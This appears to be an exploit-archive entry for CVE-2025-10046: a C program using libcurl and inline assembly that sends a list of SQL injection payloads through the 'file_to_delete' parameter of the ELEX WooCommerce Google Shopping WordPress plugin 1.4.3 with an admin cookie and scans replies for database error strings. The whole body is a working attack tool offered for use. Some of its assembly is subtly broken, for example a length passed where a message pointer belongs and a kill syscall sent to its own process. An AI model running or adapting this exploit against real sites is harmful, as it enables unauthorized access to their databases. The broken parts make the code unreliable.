ELEX WooCommerce WordPress Plugin 1.4.3 - SQL Injection
Author: Byte Reaper
type: webapps
platform: multiple
port:
date_added: 2025-09-16
date_updated: 2025-09-16
verified: 0
codes: CVE-2025-10046
tags:
aliases:
screenshot_url:
application_url:
raw file: 52430.c
/*
* Exploit Title : ELEX WooCommerce WordPress Plugin 1.4.3 - SQL Injection
* Author : Byte Reaper
* Cve id : CVE-2025-10046
* Service : plugin wordpress
* Plugin : ELEX WooCommerce Google Shopping
* Version : 1.4.3
* Type : SQL injection
* Parameter injection : file_to_delete
* Location file : includes/elex-manage-feed-ajax.php
* Exploit Privilege Access : High (admin account)
* Run:
* # gcc exploit.c argparse.c -o CVE-2025-10046 -lcurl
* # ./CVE-2025-10046 -h (Help)
* # ./CVE-2025-10046 -u (url)
* # ./CVE-2025-10046 -c (cookie)
* # ./CVE-2025-10046 -v (verbose)
* Run Script :
* # ./CVE-2025-10046 -u http://127.0.0.1 -v -c [Cookie file admin]
*/
#include <stdio.h>
#include <string.h>
#include "argparse.h"
#include <time.h>
#include <curl/curl.h>
#include <stdlib.h>
#include <sys/utsname.h>
#define FULL 4000
#define D_P 3000
int verbose=0;
int selCookie=0;
const char *baseurl = NULL;
const char *cookies = NULL;
static void asmExit()
{
printf("\e[0;35m[+] Exit syscall : ================================================\n");
const char *mes6 = "\e[0;34m[+] Success Get pid.\e[0m\n";
const char *mes7 = "\e[0;31m[-] Error : Error Get pid,Exit...\e[0m\n";
const char *mes8 = "\e[0;34m[+] Success Get tid.\e[0m\n";
const char *mes9 = "\e[0;31m[-] Error : Error Get tid,Exit...\e[0m\n";
size_t len6 = strlen(mes6);
size_t len7 = strlen(mes7);
size_t len8 = strlen(mes8);
size_t len9 = strlen(mes9);
pid_t pid;
pid_t tid;
long a;
long b;
__asm__ volatile
(
"syscall\n\t"
:"=a"(a)
:"a"(0x27)
:"rcx",
"r11",
"memory"
);
__asm__ volatile
(
"cmp $0x0, %[var3]\n\t"
"je .resulPid\n\t"
".doPid:\n\t"
"mov $0x1, %%rdi\n\t"
"mov $0x1, %%rax\n\t"
"mov %[len6], %%rdx\n\t"
"mov %[len6], %%rsi\n\t"
"syscall\n\t"
"jmp .fiPid\n\t"
".resulPid:\n\t"
"mov %[len7], %%rdx\n\t"
"mov $0x1, %%rax\n\t"
"mov $0x1, %%rdi\n\t"
"mov %[mes7], %%rsi\n\t"
"syscall\n\t"
"mov $0x0, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
".fiPid:\n\t"
:
: [var3] "r" (a),
[mes6] "r" (mes6),
[len6] "r" (len6),
[mes7] "r" (mes7),
[len7] "r" (len7)
: "rax",
"rdi",
"rsi",
"rdx"
);
pid = (pid_t)a;
__asm__ volatile
(
"syscall\n\t"
:"=a"(b)
:"a"(0xBA)
:"rcx",
"r11",
"memory"
);
__asm__ volatile
(
"cmp $0x0, %[varTId]\n\t"
"je .bfGF\n\t"
".dkp:\n\t"
"mov $0x1, %%rdi\n\t"
"mov $0x1, %%rax\n\t"
"mov %[mes8], %%rsi\n\t"
"mov %[len8], %%rdx\n\t"
"syscall\n\t"
"jmp .plrg\n\t"
".bfGF:\n\t"
"mov $0x1, %%rdi\n\t"
"mov %[mes9], %%rsi\n\t"
"mov %[len9], %%rdx\n\t"
"mov $0x1, %%rax\n\t"
"syscall\n\t"
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
".plrg:\n\t"
:
: [varTId] "r" (tid),
[mes8] "r" (mes8),
[len8] "r" (len8),
[mes9] "r" (mes9),
[len9] "r" (len9)
: "rax",
"rdi",
"rsi",
"rdx"
);
tid = (pid_t)b;
printf("[+] PID : %d\n", (int)a);
printf("[+] TID : %d\n", (int)b);
__asm__ volatile
(
"mov $0x3E, %%rax\n\t"
"mov %[pidValue], %%rdi\n\t"
"mov $0x0, %%rsi\n\t"
"syscall\n\t"
:
: [pidValue] "r" (a)
: "rax",
"rdi",
"rsi"
);
printf("\e[0;35m===================================================================\n");
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[0;31m[-] Failed to allocate memory!\e[0m\n");
asmExit();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
const char *pyL[] =
{
"UNION ALL SELECT NULL",
"AND 532=CONVERT(INT,(UNION ALL SELECTCHAR(55)+CHAR(55)))",
"UNION ALL SELECT 'INJ'||'ECT'||'XXX',4,5,6",
"or 1=1/*",
"or '1'='1'",
" HAVING 1=1",
NULL
};
const char *word[] =
{
"SQL syntax",
"Warning: mysql_",
"Warning: mysqli_",
"unrecognized token",
"feed_meta_content",
"manage_feed_data",
NULL
};
static void req(const char *url)
{
char full[FULL];
CURL *curl = curl_easy_init();
struct Mem response;
response.buffer = NULL;
response.len = 0;
CURLcode res;
if (curl == NULL)
{
printf("\e[0;31m[-] Error Create CURL object !\e[0m\n");
asmExit();
}
if (curl)
{
struct curl_slist *h = NULL;
char *encode = NULL;
if (response.buffer != NULL && response.len != 0)
{
printf("\e[0;31m[-] Error Clean Buffer and len response!\e[0m\n");
asmExit();
}
printf("\e[0;34m[+] Response buffer and len clean success.\e[0m\n");
printf("\t - [+] Buffer -> NULL\e[0m\n");
printf("\t - [+] Len -> 0\e[0m\n");
printf("\e[0;34m[+] Create Object CURL Success.\e[0m\n");
int len1 = snprintf(full,
FULL,
"%s/wordpress/wp-admin/admin.php?page=elex-product-feed-manage/includes/elex-manage-feed-ajax.php",
url);
if (len1 < 0 || len1 >= sizeof(full))
{
printf("\e[0;31m[-] Error Write full url : Full url is long, exit...\e[0m\n");
printf("\e[0;31m[-] Len Full url : %d\e[0m\n", len1);
printf("\e[0;31m[-] Size full url : %d\e[0m\n", (int) sizeof(full));
asmExit();
}
printf("\e[0;34m[+] Write Full url success.\e[0m\n");
printf("\e[0;34m[+] Base URL : %s\e[0m\n", url);
printf("\e[0;34m[+] Full url : %s\e[0m\n", full);
for (int u = 0; pyL[u] != NULL; u++)
{
encode = curl_easy_escape(curl,
pyL[u],
strlen(pyL[u]));
if (encode == NULL)
{
printf("\e[0;31m[-] Error Encode Payload, Exit...\e[0m\n");
asmExit();
}
printf("\e[0;34m[+] Success Encode Payload.\e[0m\n");
printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encode);
curl_easy_setopt(curl,
CURLOPT_URL,
full);
char data[D_P];
int len2 = snprintf(data, D_P,
"action=elex_gpf_manage_feed_remove_file&file_to_delete=%s",
encode);
if (len2 < 0 || len2 >= sizeof(data)) {
printf("\e[0;31m[-] Error Write post data : data post is long !\e[0m\n");
asmExit();
}
printf("\e[0;34m[+] Write POST data success.\n");
printf("[+] POST DATA : \e[0m\n");
printf("\t%s\n", data);
curl_easy_setopt(curl,
CURLOPT_URL,
full);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDS,
data);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDSIZE,
strlen(data));
if (selCookie != 0)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
else
{
printf("\e[0;33m[+] Please enter cookie admin (CVE-2025-10046 exploit Privilege Access : High (admin account)).\e[0m\n");
}
curl_easy_setopt(curl,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
struct timespec rqtp, rmtp;
rqtp.tv_sec = 1;
rqtp.tv_nsec = 500000000;
register long r10Register asm("r10");
r10Register = 0;
printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
rqtp.tv_sec, rqtp.tv_nsec);
int ret;
__asm__ volatile
(
"syscall"
: "=a"(ret)
: "a"(0xE6),
"D"((long)0),
"S"((long)0),
"d"(&rqtp),
"r"(r10Register)
: "rcx",
"r11",
"memory"
);
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose != 0)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
h = curl_slist_append(h,
"Accept: text/html");
h = curl_slist_append(h,
"Accept-Encoding: gzip, deflate, br");
h = curl_slist_append(h,
"Accept-Language: en-US,en;q=0.5");
h = curl_slist_append(h,
"Connection: keep-alive");
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
h);
res = curl_easy_perform(curl);
curl_slist_free_all(h);
curl_free(encode);
encode = NULL;
h = NULL;
if (res == CURLE_OK)
{
long http = 0;
char *redR = NULL;
curl_easy_getinfo(curl,
CURLINFO_REDIRECT_URL,
&redR);
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&http);
printf("\e[0;35m[+] Request : --------------------------------------------------------------------------------\e[0m\n");
printf("\e[0;34m[+] Request Send successfully.\e[0m\n");
if (redR != NULL) {
printf("\e[0;32m[+] Redirect Page : %s\e[0m\n", redR);
} else {
printf("\e[0;32m[+] Redirect Page Not Detected.\e[0m\n");
}
printf("\e[0;32m[+] Http code : %ld\e[0m\n", http);
if (http == 302)
{
printf("\e[0;33m[+] Not found file Please Use cookie admin access for request.\e[0m\n");
}
if (http >= 200 && http < 300)
{
printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
http);
if (response.buffer != NULL)
{
printf("=============================================== [Response] ===============================================\e[0m\n");
printf("%s\n", response.buffer);
printf("[+] Len response : %d\n", response.len);
printf("==========================================================================================================\n");
}
printf("\e[0;33m[+] Check Word in response...\n");
int f = 0;
for (int o = 0; word[o] != NULL; o++)
{
if (response.buffer == NULL)
{
printf("\e[0;31m[-] Error : Response server is NULL !\n");
asmExit();
}
else
{
if (strstr(response.buffer, word[o]) != NULL)
{
printf("\e[0;34m[+] Word found in response.\n");
printf("\e[0;37m[+] Word : %s\e[0m\n", word[o]);
printf("\e[0;35m=============================================== [Word response] ===============================================\e[0m\n");
printf("%s\e[0m\n", response.buffer);
printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len);
printf("\e[0;35m===============================================================================================================\e[0m\n");
}
else
{
const char *mes1 = "\e[0;31m[-] Var is NULL Not change !\n";
size_t len1 = strlen(mes1);
__asm__ volatile
(
"mov $0x1, %[var]\n\t"
"test %[var], %[var]\n\t"
"je .fS\n\t"
"jmp .reSf\n\t"
".fS:\n\t"
"mov $0x1, %%rax\n\t"
"mov $0x1, %%rdi\n\t"
"mov %[mes1], %%rsi\n\t"
"mov %[len1], %%rdx\n\t"
"syscall\n\t"
"xor %%rdi, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
".reSf:\n\t"
: [var] "+r"(f)
: [mes1] "r"(mes1),
[len1] "r"(len1)
:"rax",
"rdi",
"rsi",
"rdx"
);
}
}
}
if (f != 0)
{
printf("\e[0;31m[-] Not found word in response.\e[0m\n");
}
}
printf("\e[0;31m[-] Http code Not range (%ld)\e[0m\n", http);
}
else
{
printf("\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
asmExit();
}
}
curl_easy_cleanup(curl);
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
}
}
int main(int argc, const char **argv)
{
printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
printf("\e[0;37m| Author : Byte Reaper |\e[0m\n");
printf("\e[0;37m| CVE : CVE-2025-10046 |\e[0m\n");
printf("\e[0;37m| Data : 2025-09-07 |\e[0m\n");
printf("\e[0;37m| Target File : elex-manage-feed-ajax.php |\e[0m\n");
printf("\e[0;37m| Version : 1.4.3 |\e[0m\n");
printf("\e[0;37m| Plugin : ELEX WooCommerce Google Shopping |\e[0m\n");
printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
printf("\e[1;31m---------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
printf("[+] System detect...\e[0m\n");
struct utsname os;
__asm__ volatile
(
"mov %0, %%rdi\n\t"
"mov $0x3F, %%rax\n\t"
"syscall\n\t"
:
: "r"(&os)
: "rax",
"rdi"
);
printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname);
printf("\e[0;36m[+] Machine : %s\e[0m\n", os.machine);
if (strstr(os.sysname, "Linux") != NULL)
{
printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n");
}
else
{
printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname);
asmExit();
}
if (strstr(os.machine, "x86_64") != NULL)
{
printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n");
}
else
{
printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine);
asmExit();
}
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('u',
"url",
&baseurl,
"Enter Target Url (BASE URL WordPress)"),
OPT_STRING('c',
"cookies",
&cookies,
"Enter File cookies admin access"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode (request info)"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (!baseurl)
{
printf("\e[0;31m[-] Please Enter target Url !\e[0m\n");
printf("\e[0;31m[-] Example : ./CVE-2025-10046 -u http://<local/ip>\e[0m\n");
asmExit();
}
if (cookies)
{
__asm__ volatile
(
"mov $0x1, %[var1]\n\t"
"test %[var1], %[var1]\n\t"
"je .notP\n\t"
"jmp .finish1\n\t"
".notP:\n\t"
"mov $0xE7, %%rax\n\t"
"mov $0x0, %%rdi\n\t"
"syscall\n\t"
".finish1:\n\t"
:[var1] "+r" (selCookie)
:
: "rax",
"rdi"
);
}
if (verbose)
{
__asm__ volatile
(
"mov $0x1, %[var2]\n\t"
"test %[var2], %[var2]\n\t"
"je .notP1\n\t"
"jmp .exitGF\n\t"
".notP1:\n\t"
"mov $0xE7, %%rax\n\t"
"mov $0x0, %%rdi\n\t"
"syscall\n\t"
".exitGF:\n\t"
:[var2] "+r" (verbose)
:
: "rax",
"rdi"
);
}
req(baseurl);
__asm__ volatile
(
"mov $0x0, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}